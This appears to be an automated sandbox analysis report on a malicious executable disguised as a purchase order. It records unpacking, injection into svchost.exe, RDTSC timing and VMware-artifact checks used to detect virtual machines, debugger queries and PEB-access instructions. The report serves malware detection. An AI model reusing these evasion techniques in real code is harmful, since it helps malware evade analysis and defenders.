Source:	Binary string: wntdll.pdbUGP source: PO# 0499699.exe, 00000000.00000003.648255177.0000000009B50000.00000004.00000001.sdmp, PO# 0499699.exe, 00000001.00000002.726732789.0000000000BC0000.00000040.00000001.sdmp, svchost.exe, 00000007.00000002.914493118.0000000003D1F000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: PO# 0499699.exe, svchost.exe
Source:	Binary string: svchost.pdb source: PO# 0499699.exe, 00000001.00000002.726303596.0000000000750000.00000040.00000001.sdmp
Source:	Binary string: svchost.pdbUGP source: PO# 0499699.exe, 00000001.00000002.726303596.0000000000750000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000003.00000000.670938694.0000000005A00000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe

Unpacked PE file: 1.2.PO# 0499699.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.ndata:W;.rsrc:R; vs .text:ER;

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405CFF

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_6FC62F60 push eax; ret	0_2_6FC62F8E
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_004059F6 push esp; ret	1_2_004059F9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0040C3B3 push edi; retf	1_2_0040C3C5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B3B5 push eax; ret	1_2_0041B408
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B46C push eax; ret	1_2_0041B472
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B402 push eax; ret	1_2_0041B408
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_0041B40B push eax; ret	1_2_0041B472
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C3D0D1 push ecx; ret	1_2_00C3D0E4
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_1_004059F6 push esp; ret	1_1_004059F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7D0D1 push ecx; ret	7_2_03C7D0E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F659F6 push esp; ret	7_2_00F659F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B3B5 push eax; ret	7_2_00F7B408
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F6C3B3 push edi; retf	7_2_00F6C3C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7C498 push esi; iretd	7_2_00F7C499
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B46C push eax; ret	7_2_00F7B472
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B402 push eax; ret	7_2_00F7B408
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_00F7B40B push eax; ret	7_2_00F7B472

Source: C:\Users\user\Desktop\PO# 0499699.exe

File created: C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\PO# 0499699.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX			Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\user\Desktop\PO# 0499699.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\PO# 0499699.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000000F685E4 second address: 0000000000F685EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\svchost.exe	RDTSC instruction interceptor: First address: 0000000000F6897E second address: 0000000000F68984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\user\Desktop\PO# 0499699.exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Source: C:\Windows\explorer.exe TID: 6476	Thread sleep time: -35000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe TID: 7148	Thread sleep time: -40000s >= -30000s			Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\svchost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_00405302 DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	0_2_00405302
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_00405CD8 FindFirstFileA,FindClose,	0_2_00405CD8
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 0_2_0040263E FindFirstFileA,	0_2_0040263E

Source: explorer.exe, 00000003.00000000.670744687.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000003.00000000.675508375.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.671365622.0000000006650000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.675508375.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000003.00000000.697196072.0000000004710000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000003.00000000.670744687.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000003.00000000.675739155.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: explorer.exe, 00000003.00000000.670744687.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000003.00000000.675784685.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: explorer.exe, 00000003.00000000.670744687.00000000058C0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\PO# 0499699.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 1_2_004088B0 rdtsc

1_2_004088B0

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 1_2_00409B20 LdrLoadDll,

1_2_00409B20

Source: C:\Users\user\Desktop\PO# 0499699.exe

Code function: 0_2_00405CFF GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00405CFF

Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov ecx, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7B8D0 mov eax, dword ptr fs:[00000030h]	1_2_00C7B8D0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9080 mov eax, dword ptr fs:[00000030h]	1_2_00BE9080
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C63884 mov eax, dword ptr fs:[00000030h]	1_2_00C63884
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C63884 mov eax, dword ptr fs:[00000030h]	1_2_00C63884
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE58EC mov eax, dword ptr fs:[00000030h]	1_2_00BE58EC
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C120A0 mov eax, dword ptr fs:[00000030h]	1_2_00C120A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C290AF mov eax, dword ptr fs:[00000030h]	1_2_00C290AF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1F0BF mov ecx, dword ptr fs:[00000030h]	1_2_00C1F0BF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	1_2_00C1F0BF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1F0BF mov eax, dword ptr fs:[00000030h]	1_2_00C1F0BF
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C00050 mov eax, dword ptr fs:[00000030h]	1_2_00C00050
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C00050 mov eax, dword ptr fs:[00000030h]	1_2_00C00050
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFB02A mov eax, dword ptr fs:[00000030h]	1_2_00BFB02A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFB02A mov eax, dword ptr fs:[00000030h]	1_2_00BFB02A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFB02A mov eax, dword ptr fs:[00000030h]	1_2_00BFB02A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFB02A mov eax, dword ptr fs:[00000030h]	1_2_00BFB02A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA2073 mov eax, dword ptr fs:[00000030h]	1_2_00CA2073
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB1074 mov eax, dword ptr fs:[00000030h]	1_2_00CB1074
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67016 mov eax, dword ptr fs:[00000030h]	1_2_00C67016
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67016 mov eax, dword ptr fs:[00000030h]	1_2_00C67016
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C67016 mov eax, dword ptr fs:[00000030h]	1_2_00C67016
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB4015 mov eax, dword ptr fs:[00000030h]	1_2_00CB4015
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB4015 mov eax, dword ptr fs:[00000030h]	1_2_00CB4015
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1002D mov eax, dword ptr fs:[00000030h]	1_2_00C1002D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1002D mov eax, dword ptr fs:[00000030h]	1_2_00C1002D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1002D mov eax, dword ptr fs:[00000030h]	1_2_00C1002D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1002D mov eax, dword ptr fs:[00000030h]	1_2_00C1002D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1002D mov eax, dword ptr fs:[00000030h]	1_2_00C1002D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C741E8 mov eax, dword ptr fs:[00000030h]	1_2_00C741E8
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0C182 mov eax, dword ptr fs:[00000030h]	1_2_00C0C182
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A185 mov eax, dword ptr fs:[00000030h]	1_2_00C1A185
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12990 mov eax, dword ptr fs:[00000030h]	1_2_00C12990
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	1_2_00BEB1E1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	1_2_00BEB1E1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEB1E1 mov eax, dword ptr fs:[00000030h]	1_2_00BEB1E1
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C669A6 mov eax, dword ptr fs:[00000030h]	1_2_00C669A6
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C161A0 mov eax, dword ptr fs:[00000030h]	1_2_00C161A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C161A0 mov eax, dword ptr fs:[00000030h]	1_2_00C161A0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C651BE mov eax, dword ptr fs:[00000030h]	1_2_00C651BE
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C651BE mov eax, dword ptr fs:[00000030h]	1_2_00C651BE
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C651BE mov eax, dword ptr fs:[00000030h]	1_2_00C651BE
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C651BE mov eax, dword ptr fs:[00000030h]	1_2_00C651BE
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0B944 mov eax, dword ptr fs:[00000030h]	1_2_00C0B944
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0B944 mov eax, dword ptr fs:[00000030h]	1_2_00C0B944
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9100 mov eax, dword ptr fs:[00000030h]	1_2_00BE9100
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9100 mov eax, dword ptr fs:[00000030h]	1_2_00BE9100
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9100 mov eax, dword ptr fs:[00000030h]	1_2_00BE9100
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEB171 mov eax, dword ptr fs:[00000030h]	1_2_00BEB171
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEB171 mov eax, dword ptr fs:[00000030h]	1_2_00BEB171
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEC962 mov eax, dword ptr fs:[00000030h]	1_2_00BEC962
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120 mov eax, dword ptr fs:[00000030h]	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120 mov eax, dword ptr fs:[00000030h]	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120 mov eax, dword ptr fs:[00000030h]	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120 mov eax, dword ptr fs:[00000030h]	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C04120 mov ecx, dword ptr fs:[00000030h]	1_2_00C04120
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1513A mov eax, dword ptr fs:[00000030h]	1_2_00C1513A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1513A mov eax, dword ptr fs:[00000030h]	1_2_00C1513A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12ACB mov eax, dword ptr fs:[00000030h]	1_2_00C12ACB
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	1_2_00BFAAB0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BFAAB0 mov eax, dword ptr fs:[00000030h]	1_2_00BFAAB0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	1_2_00BE52A5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	1_2_00BE52A5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	1_2_00BE52A5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	1_2_00BE52A5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE52A5 mov eax, dword ptr fs:[00000030h]	1_2_00BE52A5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12AE4 mov eax, dword ptr fs:[00000030h]	1_2_00C12AE4
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1D294 mov eax, dword ptr fs:[00000030h]	1_2_00C1D294
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1D294 mov eax, dword ptr fs:[00000030h]	1_2_00C1D294
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1FAB0 mov eax, dword ptr fs:[00000030h]	1_2_00C1FAB0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C74257 mov eax, dword ptr fs:[00000030h]	1_2_00C74257
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAEA55 mov eax, dword ptr fs:[00000030h]	1_2_00CAEA55
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	1_2_00BEAA16
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEAA16 mov eax, dword ptr fs:[00000030h]	1_2_00BEAA16
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C9B260 mov eax, dword ptr fs:[00000030h]	1_2_00C9B260
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C9B260 mov eax, dword ptr fs:[00000030h]	1_2_00C9B260
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8A62 mov eax, dword ptr fs:[00000030h]	1_2_00CB8A62
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE5210 mov eax, dword ptr fs:[00000030h]	1_2_00BE5210
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE5210 mov ecx, dword ptr fs:[00000030h]	1_2_00BE5210
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE5210 mov eax, dword ptr fs:[00000030h]	1_2_00BE5210
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE5210 mov eax, dword ptr fs:[00000030h]	1_2_00BE5210
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF8A0A mov eax, dword ptr fs:[00000030h]	1_2_00BF8A0A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C2927A mov eax, dword ptr fs:[00000030h]	1_2_00C2927A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C03A1C mov eax, dword ptr fs:[00000030h]	1_2_00C03A1C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	1_2_00CAAA16
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CAAA16 mov eax, dword ptr fs:[00000030h]	1_2_00CAAA16
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C24A2C mov eax, dword ptr fs:[00000030h]	1_2_00C24A2C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C24A2C mov eax, dword ptr fs:[00000030h]	1_2_00C24A2C
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9240 mov eax, dword ptr fs:[00000030h]	1_2_00BE9240
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9240 mov eax, dword ptr fs:[00000030h]	1_2_00BE9240
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9240 mov eax, dword ptr fs:[00000030h]	1_2_00BE9240
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BE9240 mov eax, dword ptr fs:[00000030h]	1_2_00BE9240
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C653CA mov eax, dword ptr fs:[00000030h]	1_2_00C653CA
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C653CA mov eax, dword ptr fs:[00000030h]	1_2_00C653CA
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C103E2 mov eax, dword ptr fs:[00000030h]	1_2_00C103E2
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0DBE9 mov eax, dword ptr fs:[00000030h]	1_2_00C0DBE9
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	1_2_00BF1B8F
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF1B8F mov eax, dword ptr fs:[00000030h]	1_2_00BF1B8F
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA138A mov eax, dword ptr fs:[00000030h]	1_2_00CA138A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C9D380 mov ecx, dword ptr fs:[00000030h]	1_2_00C9D380
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1B390 mov eax, dword ptr fs:[00000030h]	1_2_00C1B390
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C12397 mov eax, dword ptr fs:[00000030h]	1_2_00C12397
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14BAD mov eax, dword ptr fs:[00000030h]	1_2_00C14BAD
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14BAD mov eax, dword ptr fs:[00000030h]	1_2_00C14BAD
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C14BAD mov eax, dword ptr fs:[00000030h]	1_2_00C14BAD
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB5BA5 mov eax, dword ptr fs:[00000030h]	1_2_00CB5BA5
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8B58 mov eax, dword ptr fs:[00000030h]	1_2_00CB8B58
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C13B7A mov eax, dword ptr fs:[00000030h]	1_2_00C13B7A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C13B7A mov eax, dword ptr fs:[00000030h]	1_2_00C13B7A
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA131B mov eax, dword ptr fs:[00000030h]	1_2_00CA131B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEDB60 mov ecx, dword ptr fs:[00000030h]	1_2_00BEDB60
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEF358 mov eax, dword ptr fs:[00000030h]	1_2_00BEF358
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BEDB40 mov eax, dword ptr fs:[00000030h]	1_2_00BEDB40
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB8CD6 mov eax, dword ptr fs:[00000030h]	1_2_00CB8CD6
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00BF849B mov eax, dword ptr fs:[00000030h]	1_2_00BF849B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA14FB mov eax, dword ptr fs:[00000030h]	1_2_00CA14FB
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	1_2_00C66CF0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	1_2_00C66CF0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C66CF0 mov eax, dword ptr fs:[00000030h]	1_2_00C66CF0
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C1A44B mov eax, dword ptr fs:[00000030h]	1_2_00C1A44B
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7C450 mov eax, dword ptr fs:[00000030h]	1_2_00C7C450
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C7C450 mov eax, dword ptr fs:[00000030h]	1_2_00C7C450
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00C0746D mov eax, dword ptr fs:[00000030h]	1_2_00C0746D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB740D mov eax, dword ptr fs:[00000030h]	1_2_00CB740D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB740D mov eax, dword ptr fs:[00000030h]	1_2_00CB740D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CB740D mov eax, dword ptr fs:[00000030h]	1_2_00CB740D
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
Source: C:\Users\user\Desktop\PO# 0499699.exe	Code function: 1_2_00CA1C06 mov eax, dword ptr fs:[00000030h]	1_2_00CA1C06
